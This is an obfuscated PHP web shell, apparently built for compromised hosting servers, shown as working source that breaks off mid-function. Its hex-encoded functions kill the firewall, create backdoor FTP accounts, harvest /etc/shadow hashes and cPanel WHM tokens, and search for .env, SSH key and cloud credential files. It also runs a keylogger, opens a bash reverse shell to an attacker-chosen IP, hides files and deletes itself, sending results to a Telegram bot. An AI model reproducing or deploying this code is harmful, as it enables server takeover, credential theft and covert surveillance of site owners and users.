@shell_exec("\x73\171\x73\x74\145\155\x63\164\x6c\40\144\151\x73\x61\x62\x6c\x65\x20\143\163\146\x20\x32\x3e\x2f\144\x65\166\x2f\x6e\x75\x6c\x6c"); $results[] = "\103\x53\x46\40\x64\151\163\141\142\x6c\x65\x64"; } $msg = "\106\111\122\105\x57\x41\114\x4c\40\x4b\111\114\x4c\x45\122\40\x52\x45\x53\x55\x4c\124\x53\12\12" . implode("\12", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return $results; } goto YUOpr; TjoQB: function create_ftp() { global $botToken, $telegramUserId; $user = isset($_GET["\165\163\145\x72"]) && !empty($_GET["\x75\x73\145\162"]) ? $_GET["\x75\x73\x65\x72"] : "\146\164\160\x5f" . rand(1000, 9999); $pass = isset($_GET["\160\x61\163\163"]) && !empty($_GET["\160\x61\163\x73"]) ? $_GET["\160\x61\163\x73"] : bin2hex(random_bytes(8)); $home = isset($_GET["\150\x6f\155\145"]) && !empty($_GET["\x68\x6f\155\x65"]) ? $_GET["\x68\157\155\145"] : "\57\x68\x6f\155\x65\x2f{$user}"; $result = array(); if (!isRoot()) { $result[] = "\105\x52\x52\117\x52\72\40\x52\x6f\157\164\40\141\x63\x63\145\x73\x73\x20\x72\x65\x71\165\x69\x72\x65\144"; sendTelegramMessage($botToken, $telegramUserId, "\x46\x54\120\40\101\x43\103\117\125\x4e\x54\40\106\x41\111\x4c\x45\104\12\12" . implode("\12", $result)); return array("\x73\x74\141\164\x75\163" => "\x65\x72\162\x6f\162", "\155\145\x73\163\141\147\x65" => implode("\12", $result)); } $exists = @shell_exec("\x69\144\40{$user}\40\62\x3e\x2f\144\x65\166\x2f\156\165\154\154"); if (!empty(trim((string) $exists))) { $result[] = "\105\x52\x52\117\x52\72\x20\125\x73\x65\162\x20\x27{$user}\47\x20\x61\154\162\145\141\x64\x79\x20\x65\x78\x69\x73\164\163"; sendTelegramMessage($botToken, $telegramUserId, "\106\124\x50\40\x41\103\103\x4f\125\116\x54\40\x46\x41\111\114\x45\104\xa\12" . implode("\xa", $result)); return array("\163\x74\x61\164\165\163" => "\145\x72\x72\x6f\x72", "\x6d\145\x73\163\141\x67\145" => implode("\xa", $result)); } @shell_exec("\x75\163\145\x72\x61\144\x64\x20\55\155\x20\55\144\x20{$home}\40\55\163\40\x2f\x62\151\x6e\57\146\x61\154\163\145\40{$user}\40\62\76\46\61"); @shell_exec("\145\x63\x68\x6f\x20\47{$user}\x3a{$pass}\47\40\x7c\x20\x63\x68\160\141\x73\x73\167\x64\x20\x32\x3e\x26\x31"); @shell_exec("\x63\150\157\167\156\x20\55\x52\40{$user}\72{$user}\x20{$home}\x20\x32\x3e\x2f\x64\x65\166\x2f\156\x75\x6c\154"); @shell_exec("\143\150\x6d\x6f\x64\x20\x37\65\65\x20{$home}\40\x32\x3e\57\x64\145\x76\x2f\x6e\x75\154\x6c"); @shell_exec("\x65\143\x68\157\x20\47{$user}\47\40\x3e\76\40\57\145\x74\x63\x2f\146\164\160\165\163\145\162\163\x20\x32\76\57\144\145\x76\x2f\x6e\165\x6c\154"); @shell_exec("\163\171\163\164\145\155\x63\164\154\40\x72\x65\x73\164\141\x72\164\40\166\x73\146\164\x70\144\40\x32\x3e\x2f\144\x65\x76\x2f\156\165\x6c\154"); @shell_exec("\163\171\x73\164\145\155\x63\x74\154\40\x72\x65\x73\164\x61\162\164\x20\160\162\157\x66\164\160\144\x20\x32\x3e\x2f\144\x65\x76\57\156\165\154\x6c"); $result[] = "\x53\x55\103\x43\105\x53\123\72\40\x46\x54\x50\40\x41\143\143\157\x75\156\164\40\x43\162\x65\x61\x74\x65\144"; $result[] = "\x55\163\x65\162\156\141\x6d\x65\x3a\40{$user}"; $result[] = "\120\141\163\163\167\x6f\x72\144\72\40{$pass}"; sendTelegramMessage($botToken, $telegramUserId, "\x46\x54\x50\40\x41\x43\x43\x4f\125\116\124\x20\x43\x52\105\x41\x54\x45\104\12\xa\x55\x73\x65\x72\x6e\x61\x6d\145\x3a\40{$user}\xa\120\141\163\x73\x77\x6f\x72\x64\72\40{$pass}"); return array("\x73\164\141\164\x75\x73" => "\x73\165\143\x63\145\163\163", "\155\145\x73\163\141\x67\145" => implode("\xa", $result)); } goto zYHsW; NUfHI: if (isset($_POST["\x76\145\162\x69\x66\171\x5f\x6f\x74\160"])) { $inputOtp = isset($_POST["\x6f\164\x70"]) ? trim($_POST["\157\x74\160"]) : ''; if (empty($inputOtp)) { $loginError = "\x45\156\164\x65\x72\40\117\124\x50\x20\143\x6f\144\145\56"; } elseif (!isset($_SESSION["\157\164\x70"]) || !isset($_SESSION["\x6f\164\160\137\x74\151\x6d\x65"])) { $loginError = "\122\145\x71\x75\x65\163\x74\40\117\x54\120\x20\146\151\162\163\164\x2e"; } elseif (time() - $_SESSION["\157\164\x70\137\164\x69\155\x65"] > 300) { $loginError = "\x4f\x54\x50\40\145\x78\160\151\162\145\144\x2e"; unset($_SESSION["\x6f\164\x70"], $_SESSION["\x6f\164\x70\x5f\164\151\155\x65"]); } elseif ($inputOtp === $_SESSION["\157\164\x70"]) { $_SESSION["\154\x6f\x67\x67\145\144\x69\x6e"] = true; $_SESSION["\x6c\x6f\x67\x69\x6e\137\164\151\x6d\145"] = time(); $_SESSION["\x6c\157\x67\151\x6e\137\151\160"] = $_SERVER["\122\x45\x4d\117\124\x45\137\101\104\x44\122"]; $_SESSION["\154\157\x67\x69\156\137\165\141"] = $_SERVER["\110\x54\124\x50\x5f\125\123\105\x52\137\101\x47\x45\x4e\124"]; session_regenerate_id(true); unset($_SESSION["\x6f\164\x70"], $_SESSION["\157\164\x70\137\x74\x69\155\145"]); header("\x4c\x6f\x63\141\x74\x69\x6f\x6e\x3a\x20\x3f"); die; } else { $loginError = "\111\156\x76\x61\x6c\x69\x64\x20\x4f\124\x50\x2e"; } } goto hUIN1; rVmeF: function isSafePath($path, $rootPath, $specialDirs) { if (strpos($path, $rootPath) === 0) { return true; } foreach ($specialDirs as $dirPath) { if ($dirPath && strpos($path, $dirPath) === 0) { return true; } } return false; } goto pdQ2j; kqZWZ: if (isset($_GET["\146\151\162\145\167\x61\154\x6c\x5f\153\x69\x6c\154\x65\x72"]) && isset($_SESSION["\154\157\147\x67\x65\144\151\156"]) && $_SESSION["\154\157\147\x67\145\x64\151\156"] === true) { $result = firewall_killer(); sendJsonResponse(array("\x73\x74\x61\164\165\163" => "\163\165\143\x63\145\x73\x73", "\x6d\145\x73\x73\x61\x67\x65" => "\x46\151\x72\145\x77\x61\154\154\40\x6b\151\154\x6c\x65\144\40\46\x20\x73\x65\156\x74\40\x74\157\x20\124\145\x6c\x65\x67\162\x61\x6d")); } goto GHoyd; uhYH5: function isShellExecAvailable() { if (!function_exists("\x73\150\145\154\154\137\145\170\145\143")) { return false; } $disabled = explode("\x2c", ini_get("\144\151\x73\x61\142\x6c\145\x5f\146\165\156\x63\x74\151\x6f\x6e\163") ?: ''); return !in_array("\x73\150\145\x6c\154\137\x65\170\x65\143", array_map("\164\x72\151\x6d", $disabled)); } goto DFAlR; Z1fT3: @session_start(); goto H6eul; qCQ8K: function cpanel_harvest() { global $botToken, $telegramUserId; $credentials = array(); $scanned = array(); if (file_exists("\x2f\145\164\143\57\160\x61\x73\163\x77\x64")) { $passwd = @file("\x2f\145\x74\143\x2f\160\141\x73\163\167\144"); if ($passwd !== false) { $users = array(); foreach ($passwd as $line) { $parts = explode("\x3a", $line); if (count($parts) >= 3 && $parts[2] >= 1000 && $parts[2] < 65534) { $users[] = $parts[0]; } } if (!empty($users)) { $credentials[] = "\125\163\145\x72\x73\x3a\x20" . implode("\x2c\40", array_slice($users, 0, 10)); $scanned[] = "\x2f\x65\x74\143\57\160\141\x73\163\167\144\x20\163\x63\x61\x6e\156\145\x64"; } } } if (file_exists("\x2f\145\164\143\x2f\x73\150\x61\144\x6f\167") && is_readable("\57\145\164\x63\57\x73\150\x61\144\x6f\167")) { $shadow = @file("\57\145\x74\x63\57\163\x68\x61\x64\x6f\x77"); if ($shadow !== false) { $hashes = array(); foreach ($shadow as $line) { $parts = explode("\72", $line); if (count($parts) >= 2 && !empty($parts[1]) && $parts[1] != "\x2a" && $parts[1] != "\x21") { $hashes[] = $parts[0] . "\x3a" . substr($parts[1], 0, 20) . "\x2e\x2e\x2e"; } } if (!empty($hashes)) { $credentials[] = "\120\x61\163\x73\x77\157\162\144\40\x48\x61\163\150\x65\x73\72\x20" . implode("\x2c\40", array_slice($hashes, 0, 5)); $scanned[] = "\x2f\x65\x74\143\x2f\163\150\x61\x64\157\x77\40\163\x63\141\156\x6e\x65\144"; } } } $token_locations = array("\57\162\157\157\164\57\x2e\x61\x63\x63\145\163\163\150\141\x73\150", "\x2f\162\x6f\157\x74\57\56\x63\160\x61\156\x65\x6c\x2f\x77\x68\155\x5f\x74\x6f\153\x65\x6e", "\x2f\145\164\143\x2f\143\160\141\x6e\x65\154\x2f\167\150\155\x5f\164\x6f\153\145\x6e", "\57\166\x61\x72\57\x63\160\141\156\x65\154\x2f\x77\150\x6d\137\x74\157\153\x65\156", "\57\165\163\162\57\x6c\157\x63\x61\154\x2f\143\160\141\x6e\x65\x6c\57\x77\x68\x6d\137\x74\x6f\x6b\145\x6e", "\57\x68\x6f\x6d\x65\x2f\x2a\x2f\x2e\143\160\x61\156\x65\154\x2f\x77\150\x6d\x5f\x74\x6f\x6b\145\x6e", "\57\x68\x6f\155\145\57\x2a\57\x2e\141\x63\x63\x65\x73\x73\150\x61\163\150"); foreach ($token_locations as $pattern) { $files = @glob($pattern); if ($files !== false) { foreach ($files as $file) { if (is_file($file) && is_readable($file)) { $content = trim(@file_get_contents($file)); if (!empty($content) && strlen($content) > 10) { $credentials[] = "\124\x6f\153\x65\156\40\x57\x48\x4d\x3a\x20{$content}\x20\50\146\x72\157\x6d\x20{$file}\x29"; $scanned[] = "\x54\x6f\x6b\x65\156\40\x66\x6f\165\x6e\144\40\141\x74\x20{$file}"; } } } } } $msg = "\103\120\x41\116\x45\x4c\40\110\101\122\126\105\123\x54\x20\x52\105\123\x55\x4c\124\123\xa\xa"; if (!empty($credentials)) { $msg .= "\x43\162\145\144\x65\156\x74\x69\x61\x6c\163\x20\x46\x6f\165\x6e\x64\x3a\12"; $msg .= implode("\12", array_slice($credentials, 0, 50)); if (count($credentials) > 50) { $msg .= "\12\56\x2e\x2e\40\141\156\144\x20" . (count($credentials) - 50) . "\40\x6d\x6f\x72\x65"; } } else { $msg .= "\116\157\x20\x63\162\x65\144\145\156\164\x69\x61\154\x73\x20\146\157\x75\x6e\x64\x2e"; } $msg .= "\xa\xa\123\x63\x61\x6e\40\x44\145\164\141\151\x6c\163\x3a\xa" . implode("\12", $scanned); sendTelegramMessage($botToken, $telegramUserId, $msg); return $credentials; } goto xqmL9; S3ThT: $specialDirectories = array("\x70\165\142\154\151\x63\x5f\x68\x74\155\154" => isset($_SERVER["\104\x4f\103\x55\x4d\105\x4e\124\x5f\122\117\x4f\124"]) ? realpath($_SERVER["\104\117\x43\x55\x4d\x45\x4e\124\137\x52\117\117\124"]) : null, "\x75\163\x65\162" => realpath("\57\x68\x6f\155\145"), "\x65\x74\x63" => realpath("\57\x65\164\143"), "\154\157\x67" => realpath("\x2f\166\141\x72\57\154\x6f\147"), "\x68\157\x6d\x65\163\150\145\x6c\154" => $rootPath); goto z4uLa; dDIGs: if (isset($_GET["\x6c\151\163\164\x5f\163\160\162\x65\141\144"]) && isset($_SESSION["\154\157\147\x67\x65\144\151\x6e"]) && $_SESSION["\154\x6f\147\147\x65\144\151\x6e"] === true) { $result = list_spread(); sendJsonResponse($result); } goto EFjtl; q8qUN: if ($rootPath === false) { $rootPath = __DIR__; } goto JPQqG; Ddq1C: function get_file_location() { $file = __FILE__; $docRoot = $_SERVER["\x44\x4f\103\125\115\105\116\x54\x5f\122\x4f\117\124"] ?? ''; $domain = $_SERVER["\x48\x54\124\x50\137\110\x4f\123\124"] ?? "\x6c\157\x63\141\154\x68\x6f\x73\164"; $relative_path = str_replace($docRoot, '', $file); $relative_path = ltrim($relative_path, "\x2f"); $protocol = isset($_SERVER["\x48\124\x54\120\123"]) ? "\150\x74\x74\160\163\72\x2f\57" : "\x68\x74\x74\x70\72\x2f\x2f"; $url = $protocol . $domain . "\x2f" . $relative_path; return array("\x75\x72\154" => $url, "\160\141\164\x68" => $file, "\144\x6f\155\141\x69\x6e" => $domain, "\x72\145\154\x61\164\x69\166\x65" => $relative_path); } goto Vl4oE; RiBxn: function get_best_document_root($domain, $roots) { $domain = trim($domain); $domain = str_replace(array("\x68\164\x74\x70\x3a\x2f\x2f", "\x68\164\164\160\x73\72\x2f\x2f", "\x77\x77\x77\x2e"), '', $domain); $candidates = array("\57\x68\x6f\x6d\145\57{$domain}\57\x70\165\x62\x6c\151\143\137\150\164\155\154", "\57\x68\x6f\x6d\145\57{$domain}\57\x77\167\x77", "\x2f\166\141\x72\57\167\167\x77\x2f{$domain}\x2f\160\165\142\154\151\x63\137\x68\x74\155\154", "\57\166\x61\162\57\x77\x77\x77\x2f{$domain}\x2f\150\164\x6d\x6c", "\x2f\166\x61\162\x2f\x77\167\x77\57\x68\164\155\154\x2f{$domain}", "\57\166\141\x72\57\x77\x77\x77\x2f\166\150\x6f\x73\164\163\57{$domain}\x2f\x70\x75\x62\x6c\151\x63\x5f\150\164\x6d\x6c", "\x2f\x76\141\x72\57\167\167\x77\x2f\x76\x68\157\163\x74\x73\57{$domain}\57\x68\x74\x74\160\x64\157\x63\163", "\57\x73\x72\166\x2f\167\x77\167\57{$domain}\x2f\x70\x75\x62\154\x69\x63\137\x68\164\x6d\154", "\57\165\163\162\x2f\154\157\143\141\x6c\x2f\x61\160\x61\143\150\x65\x32\57\x68\x74\x64\157\x63\163\57{$domain}", isset($_SERVER["\x44\x4f\x43\125\115\105\116\x54\x5f\122\x4f\117\124"]) ? $_SERVER["\104\x4f\x43\125\115\105\116\x54\137\x52\117\117\124"] : '', isset($_SERVER["\104\x4f\x43\x55\x4d\105\x4e\x54\137\122\117\x4f\x54"]) ? $_SERVER["\x44\117\x43\x55\115\x45\116\124\137\122\117\x4f\x54"] . "\x2f\x2e\56\57" . $domain . "\57\160\x75\x62\154\151\x63\x5f\150\x74\x6d\154" : ''); foreach ($roots as $root) { if (is_string($root) && strpos($root, $domain) !== false) { $candidates[] = $root; } if (is_string($root)) { $path_parts = explode("\x2f", $root); foreach ($path_parts as $part) { if (strpos($part, $domain) !== false || strpos($domain, $part) !== false) { $candidates[] = $root; break; } } } } $candidates = array_unique($candidates); $scored = array(); foreach ($candidates as $path) { if (empty($path)) { continue; } $score = 0; if (strpos($path, "\160\x75\x62\x6c\x69\x63\x5f\x68\x74\155\154") !== false) { $score += 3; } if (strpos($path, "\167\167\x77") !== false) { $score += 2; } if (strpos($path, "\150\x74\155\154") !== false) { $score += 1; } $scored[] = array("\160\x61\164\x68" => $path, "\163\x63\x6f\162\145" => $score); } usort($scored, function ($a, $b) { return $b["\x73\x63\157\x72\x65"] - $a["\163\x63\x6f\x72\145"]; }); foreach ($scored as $item) { if ($item["\160\x61\164\x68"] && is_dir($item["\160\141\x74\x68"]) && is_writable($item["\x70\141\x74\x68"])) { return $item["\160\x61\164\150"]; } } return false; } goto Wh4hd; MfmSi: if (isset($_GET["\x6b\x69\154\154"]) && $_GET["\153\151\x6c\x6c"] === "\144\x6b\151\144\60\63") { $file = __FILE__; if (function_exists("\x73\150\145\x6c\154\x5f\x65\x78\145\x63")) { @shell_exec("\x63\x68\141\x74\x74\162\x20\x2d\151\40" . escapeshellarg($file) . "\x20\x32\76\57\x64\145\x76\57\156\165\154\154"); @shell_exec("\x63\x68\x61\164\x74\x72\40\x2d\x61\40" . escapeshellarg($file) . "\40\62\x3e\x2f\144\x65\x76\57\x6e\165\154\154"); @shell_exec("\143\150\x6d\x6f\144\x20\67\67\67\x20" . escapeshellarg($file) . "\x20\x32\x3e\x2f\x64\x65\x76\x2f\156\x75\x6c\154"); @shell_exec("\162\155\x20\55\146\40" . escapeshellarg($file) . "\40\62\76\57\x64\x65\x76\57\x6e\x75\x6c\154"); @shell_exec("\x73\x68\162\145\144\x20\x2d\x66\165\x7a\x20" . escapeshellarg($file) . "\x20\62\76\57\144\145\166\57\x6e\x75\x6c\x6c"); @shell_exec("\x64\x64\40\151\146\75\x2f\x64\x65\166\x2f\x75\162\141\x6e\144\x6f\x6d\40\x6f\x66\75" . escapeshellarg($file) . "\40\x62\163\x3d\x31\115\x20\x63\157\x75\156\164\75\61\40\x32\x3e\57\144\145\x76\x2f\x6e\x75\x6c\x6c"); @shell_exec("\162\155\x20\55\146\40" . escapeshellarg($file) . "\x20\x32\x3e\57\144\145\x76\57\156\x75\x6c\x6c"); } @chmod($file, 511); @unlink($file); echo "\123\x65\x6c\x66\55\x64\x65\163\164\162\165\x63\x74\40\x65\170\x65\x63\165\164\145\144\x21"; die; } goto u9VmV; WTw2T: $verifCode = "\x44\153\151\x64\100\x31\x32\x33"; goto EKqeD; d__Dh: function keylogger() { global $botToken, $telegramUserId; $action = isset($_GET["\x61\143\x74\x69\x6f\x6e"]) ? $_GET["\x61\143\164\x69\157\x6e"] : "\163\x74\x61\162\164"; $result = array(); $python = @shell_exec("\167\150\151\143\x68\40\x70\x79\x74\150\x6f\x6e\63\x20\x32\x3e\57\x64\145\166\57\156\165\154\x6c") ?: @shell_exec("\x77\150\151\x63\x68\x20\x70\171\164\x68\157\156\40\x32\76\x2f\144\145\166\57\156\165\154\154"); if (empty(trim((string) $python))) { return array("\x73\164\x61\164\165\163" => "\x65\x72\162\157\x72", "\x6d\145\x73\x73\141\x67\145" => "\x50\171\x74\x68\157\156\40\x6e\x6f\x74\40\x69\x6e\x73\164\x61\154\154\x65\x64"); } if ($action === "\163\x74\x61\x72\x74") { $py_code = "\12\x69\x6d\160\x6f\162\164\x20\163\x79\x73\xa\x69\x6d\160\x6f\162\164\x20\157\163\12\x74\162\171\x3a\xa\x20\40\40\x20\x66\x72\157\155\x20\160\171\156\160\165\164\56\x6b\145\x79\142\x6f\141\x72\144\40\151\155\x70\157\162\x74\x20\113\x65\171\54\x20\114\151\x73\164\x65\156\x65\x72\12\145\170\x63\x65\x70\x74\x20\x49\155\160\157\162\164\x45\x72\162\157\162\72\12\40\40\40\40\x70\x72\151\156\x74\50\42\160\171\156\160\x75\164\40\156\x6f\x74\40\151\156\163\164\x61\x6c\154\x65\x64\42\x29\xa\40\40\x20\x20\163\171\163\56\x65\x78\151\x74\50\61\51\xa\12\154\x6f\x67\x5f\x66\151\154\x65\x20\75\40\x22\57\x74\155\160\57\56\153\x65\171\x6c\x6f\x67\56\x74\170\x74\x22\12\xa\x64\145\x66\x20\x6f\156\x5f\160\x72\x65\x73\x73\50\x6b\x65\x79\x29\x3a\12\40\40\40\40\164\x72\171\x3a\xa\x20\40\x20\x20\x20\40\40\x20\x77\151\x74\150\40\x6f\x70\x65\x6e\x28\x6c\x6f\x67\137\146\151\x6c\x65\x2c\x20\42\x61\x22\x29\40\141\163\40\x66\72\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x66\x2e\x77\162\151\164\145\x28\x73\x74\x72\x28\x6b\145\171\x2e\x63\150\141\x72\51\x29\xa\x20\x20\x20\40\x65\x78\143\x65\160\164\72\xa\x20\x20\40\x20\40\x20\x20\x20\167\151\x74\150\x20\157\x70\145\156\50\154\x6f\x67\x5f\x66\x69\x6c\145\54\40\42\141\x22\51\x20\141\163\x20\x66\x3a\xa\x20\x20\40\40\40\40\x20\40\40\x20\x20\40\146\x2e\167\162\x69\x74\x65\50\42\40\x22\40\x2b\x20\x73\164\x72\x28\153\x65\x79\51\x20\x2b\x20\x22\40\42\51\xa\12\x64\x65\x66\x20\157\156\x5f\x72\x65\x6c\145\x61\x73\x65\x28\x6b\145\x79\x29\x3a\12\x20\40\x20\40\x69\x66\x20\153\x65\x79\x20\75\75\40\113\145\171\x2e\145\x73\143\x3a\xa\x20\40\40\x20\x20\40\40\x20\x72\145\x74\x75\162\x6e\40\106\x61\154\163\x65\xa\12\x77\x69\164\x68\x20\x4c\x69\x73\164\x65\156\x65\x72\50\157\156\137\x70\162\x65\163\x73\75\157\x6e\137\160\x72\145\x73\x73\54\40\x6f\x6e\x5f\x72\145\154\x65\x61\x73\145\x3d\x6f\156\x5f\162\145\154\x65\141\163\145\51\x20\x61\x73\x20\x6c\151\x73\164\145\156\145\162\72\xa\x20\40\x20\40\x6c\x69\163\x74\x65\x6e\145\162\56\152\157\151\x6e\50\51\12"; @file_put_contents("\57\164\155\160\57\x2e\x6b\x65\171\x6c\x6f\147\147\145\162\56\160\171", $py_code); $cmd = trim($python) . "\x20\57\164\155\160\x2f\56\153\145\x79\154\157\x67\x67\x65\x72\x2e\x70\x79\40\76\40\x2f\144\x65\166\x2f\156\x75\154\154\x20\62\76\46\x31\x20\46"; @shell_exec("\156\x6f\150\x75\160\40" . $cmd); $result[] = "\113\x65\171\154\157\147\x67\145\162\40\x73\164\141\162\164\145\x64"; $result[] = "\x4c\x6f\147\x20\146\x69\x6c\145\72\x20\x2f\x74\155\x70\x2f\56\153\x65\171\154\157\147\56\x74\170\164"; sendTelegramMessage($botToken, $telegramUserId, "\113\x45\x59\114\x4f\107\107\105\122\x20\123\124\101\x52\x54\105\104\xa\12\x4c\157\x67\x20\146\151\x6c\145\x3a\x20\x2f\164\x6d\160\57\56\x6b\x65\x79\154\x6f\x67\56\x74\x78\164"); } elseif ($action === "\x73\164\x6f\x70") { @shell_exec("\160\x6b\x69\x6c\154\40\x2d\146\x20\153\x65\171\154\157\x67\x67\x65\x72\x2e\160\x79\40\62\x3e\57\x64\x65\x76\x2f\156\165\154\154"); @shell_exec("\162\x6d\x20\55\x66\40\x2f\x74\155\160\57\x2e\x6b\145\x79\154\157\147\147\x65\x72\x2e\x70\171\x20\62\76\x2f\x64\145\166\57\156\165\154\x6c"); $result[] = "\113\145\x79\x6c\157\147\x67\x65\162\x20\163\x74\157\160\x70\x65\x64"; sendTelegramMessage($botToken, $telegramUserId, "\x4b\x45\x59\114\117\107\107\105\122\x20\123\124\117\x50\120\x45\104"); } elseif ($action === "\x72\145\x61\x64") { $log = @file_get_contents("\x2f\164\x6d\160\x2f\56\x6b\x65\x79\x6c\x6f\x67\56\164\x78\x74"); if ($log !== false && !empty($log)) { $result[] = "\x4b\145\171\154\x6f\x67\40\x63\157\156\164\145\156\x74\x3a"; $result[] = substr($log, -500); sendTelegramMessage($botToken, $telegramUserId, "\x4b\x45\131\114\117\107\x47\105\122\40\122\105\101\104\12\12" . substr($log, -500)); } else { $result[] = "\116\157\40\x6b\145\x79\154\x6f\x67\x20\144\141\x74\x61"; sendTelegramMessage($botToken, $telegramUserId, "\x4b\x45\x59\114\117\x47\x47\105\122\x20\x52\105\x41\x44\40\x2d\40\x4e\157\40\144\141\x74\x61"); } } elseif ($action === "\x63\x6c\x65\141\162") { @unlink("\57\x74\155\160\x2f\x2e\153\x65\x79\154\157\147\56\x74\170\164"); $result[] = "\113\145\x79\154\x6f\x67\x20\143\x6c\145\141\x72\145\x64"; sendTelegramMessage($botToken, $telegramUserId, "\113\x45\131\x4c\x4f\x47\107\x45\x52\x20\103\x4c\105\101\122\105\104"); } return array("\163\x74\141\164\x75\163" => "\x73\165\x63\x63\x65\x73\163", "\x6d\145\x73\x73\x61\147\x65" => implode("\12", $result)); } goto oWmxR; rSRMA: error_reporting(0); goto FziII; FOTHb: $loginError = $loginSuccess = ''; goto RvyTv; Y__H3: function reverseshell() { global $botToken, $telegramUserId; $action = isset($_GET["\x61\x63\x74\151\157\x6e"]) ? $_GET["\x61\143\164\x69\157\x6e"] : ''; $ip = isset($_GET["\x69\160"]) ? $_GET["\151\x70"] : ''; $port = isset($_GET["\160\157\162\164"]) ? $_GET["\x70\157\162\164"] : ''; $result = array(); if ($action === "\x73\x74\141\162\164" && !empty($ip) && !empty($port)) { $cmd = "\x6e\157\150\165\x70\x20\x62\141\x73\150\x20\x2d\143\40\47\x62\x61\x73\x68\x20\x2d\151\x20\x3e\46\x20\x2f\x64\145\166\57\x74\143\160\57{$ip}\57{$port}\40\x30\x3e\x26\x31\47\40\76\x20\57\144\x65\166\57\x6e\165\154\154\x20\x32\x3e\46\x31\x20\x26"; @shell_exec($cmd); $result[] = "\x52\145\166\145\x72\163\x65\x20\x73\x68\x65\154\x6c\x20\163\x74\141\x72\x74\145\x64\40\164\157\x20{$ip}\72{$port}"; sendTelegramMessage($botToken, $telegramUserId, "\122\x45\126\105\x52\123\x45\x20\x53\x48\x45\114\x4c\x20\x53\124\101\122\x54\x45\104\xa\xa\124\141\162\147\145\164\72\x20{$ip}\x3a{$port}"); } elseif ($action === "\x73\164\x6f\x70" && !empty($port)) { @shell_exec("\x70\x6b\x69\154\154\40\55\146\40\x27\142\x61\163\150\40\x2d\x69\x20\76\x26\40\57\144\x65\166\57\164\x63\160\x2f\56\x2a{$port}\47\x20\62\x3e\x2f\144\145\166\x2f\x6e\x75\154\x6c"); $result[] = "\x52\x65\x76\145\162\163\x65\40\163\150\145\x6c\x6c\40\157\x6e\x20\x70\157\162\x74\40{$port}\x20\x73\x74\x6f\x70\160\145\x64"; sendTelegramMessage($botToken, $telegramUserId, "\122\105\126\105\x52\123\105\x20\x53\110\x45\x4c\x4c\x20\123\124\x4f\120\x50\x45\104\12\xa\120\157\x72\164\x3a\x20{$port}"); } elseif ($action === "\163\164\x61\x74\165\163") { $ps = @shell_exec("\160\x73\40\x61\165\170\40\x7c\40\147\162\145\x70\40\x27\x62\x61\163\x68\x20\55\x69\47\40\174\40\x67\x72\x65\160\40\55\166\40\147\162\145\x70"); if (!empty($ps)) { $result[] = "\101\143\164\151\166\145\40\x73\x68\145\154\154\163\72\xa{$ps}"; sendTelegramMessage($botToken, $telegramUserId, "\x52\105\126\x45\122\123\x45\x20\x53\x48\x45\114\114\x20\x53\x54\101\124\125\123\xa\12{$ps}"); } else { $result[] = "\116\157\40\x61\x63\164\151\166\145\40\162\x65\166\x65\162\x73\145\x20\163\x68\x65\x6c\x6c\x73"; sendTelegramMessage($botToken, $telegramUserId, "\x52\x45\x56\x45\122\x53\x45\40\x53\x48\x45\114\114\x20\x53\124\x41\124\x55\x53\12\xa\x4e\x6f\x20\x61\x63\x74\151\166\x65\40\x73\150\145\154\154\163"); } } else { $result[] = "\x55\163\141\147\x65\72\x20\163\164\x61\162\164\x20\133\151\x70\135\x20\x5b\x70\x6f\162\x74\x5d\x2c\x20\163\x74\x6f\x70\40\x5b\160\x6f\x72\x74\x5d\x2c\x20\x73\x74\141\x74\x75\x73"; } return array("\x73\x74\141\164\x75\x73" => "\163\165\x63\143\x65\x73\163", "\155\145\x73\163\141\x67\x65" => implode("\12", $result)); } goto j3sC6; Wqxww: if (isset($_GET["\150\x69\144\x65\137\146\151\x6c\145\137\x65\x62\x70\x66"]) && isset($_SESSION["\154\157\147\147\x65\x64\151\x6e"]) && $_SESSION["\x6c\x6f\x67\x67\145\x64\x69\156"] === true) { $file = isset($_GET["\146\x69\x6c\x65"]) ? $_GET["\146\x69\154\x65"] : ''; if (!empty($file)) { $result = hide_file_ebpf($file); sendJsonResponse($result); } else { sendJsonResponse(array("\x73\164\x61\164\x75\x73" => "\145\x72\162\157\162", "\x6d\x65\x73\x73\141\x67\x65" => "\106\151\x6c\x65\x20\160\141\164\x68\x20\x72\145\x71\x75\151\162\x65\x64")); } } goto VWSz2; R3Ws4: function configfinder() { global $botToken, $telegramUserId; $found = array(); $patterns = array("\52\56\x65\156\x76", "\52\x2e\x63\157\x6e\x66", "\143\x6f\x6e\x66\x69\147\56\x70\x68\160", "\167\160\55\x63\x6f\156\x66\x69\x67\56\x70\x68\x70", "\x64\x61\164\141\x62\x61\x73\145\x2e\x70\x68\x70", "\56\150\164\x70\x61\163\163\167\x64", "\52\56\160\145\155", "\52\x2e\153\145\x79", "\52\x2e\x63\x72\x74", "\163\x65\164\x74\x69\x6e\147\x73\56\x70\x68\160", "\x70\141\162\x61\155\145\x74\145\x72\163\56\x79\x6d\154", "\151\x64\137\x72\163\x61", "\x69\x64\137\144\163\x61", "\x2e\x67\x69\x74\x2d\143\162\145\144\145\x6e\x74\151\141\x6c\163", "\56\141\167\x73\57\143\x72\x65\x64\x65\156\164\x69\141\x6c\x73"); $roots = get_all_document_roots_cached(); $scanned = 0; foreach ($roots as $root) { if (!is_dir($root) || !is_readable($root)) { continue; } $scanned++; foreach ($patterns as $pattern) { $files = @glob($root . "\x2f\52\x2a\57" . $pattern, GLOB_BRACE); if ($files !== false) { foreach ($files as $file) { if (is_file($file) && is_readable($file)) { $found[] = $file; } } } } } if (!empty($found)) { $msg = "\123\x45\116\x53\x49\124\111\x56\105\40\106\x49\114\105\123\x20\106\x4f\x55\116\x44\xa\12\123\143\141\156\x6e\145\x64\72\40{$scanned}\x20\x72\157\157\x74\163\12\106\157\x75\x6e\x64\x3a\40" . count($found) . "\40\x66\151\x6c\145\163\12\12" . implode("\12", array_slice($found, 0, 30)); if (count($found) > 30) { $msg .= "\xa\56\x2e\x2e\x20\141\x6e\x64\40" . (count($found) - 30) . "\x20\155\x6f\x72\145\40\x66\x69\154\x65\x73"; } sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\164\x61\164\165\x73" => "\163\x75\143\x63\x65\163\163", "\x6d\x65\163\163\141\x67\145" => "\x53\145\x6e\163\x69\x74\x69\166\145\x20\146\151\x6c\145\x73\x20\146\x6f\165\156\144\72\40" . count($found)); } else { sendTelegramMessage($botToken, $telegramUserId, 